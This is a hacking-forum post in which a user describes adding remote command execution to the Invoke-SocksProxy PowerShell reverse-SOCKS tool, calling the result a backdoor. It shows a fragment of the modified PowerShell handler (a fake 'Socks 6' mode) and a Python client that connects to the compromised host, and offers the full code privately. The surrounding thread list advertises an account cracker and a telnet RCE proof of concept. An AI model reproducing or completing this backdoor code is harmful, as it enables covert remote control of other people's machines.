[Revese socks] Github project Improvement for RCE
by guilimix - October 19, 2020 at 09:35 AM
Very useful tool for reverse socks in powershell: https://github.com/p3nt4/Invoke-SocksProxy

Doesn't have command exec, here is my hack to add this feature:

modify Invoke-SocksProxy.psm1 to add a "Socks 6" version handeling

if ($socksVer -eq 6){
        $data = New-Object System.Byte[] $lencmd;
        $cliStream.Read($data,0,$lencmd) | Out-Null;

and here is the python file to talk to this new backdoor:

import socket, sys
HOST = sys.argv[1] # usually
PORT = int(sys.argv[2])

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    data = b""
    while data.decode("utf-8").count("--MAGIC-TOKEN--")<1:
        data += s.recv(2014)

MP to have the full code, version c# also available.
Great! Thanks mate for this share!

Possibly Related Threads…
Thread Author Replies Views Last Post
GitHub Account cracker [Working Shell script] piratoto 3 671 September 04, 2020 at 04:19 AM
Last Post: Mmmph
the ThiCCase Password Manager Project Proudhon04 1 215 July 15, 2020 at 05:58 AM
Last Post: matador9678
want a poc so I can hax moot's dick... telnet rce cve atf02 0 182 June 10, 2020 at 06:57 PM
Last Post: atf02

 Users browsing this thread: 1 Guest(s)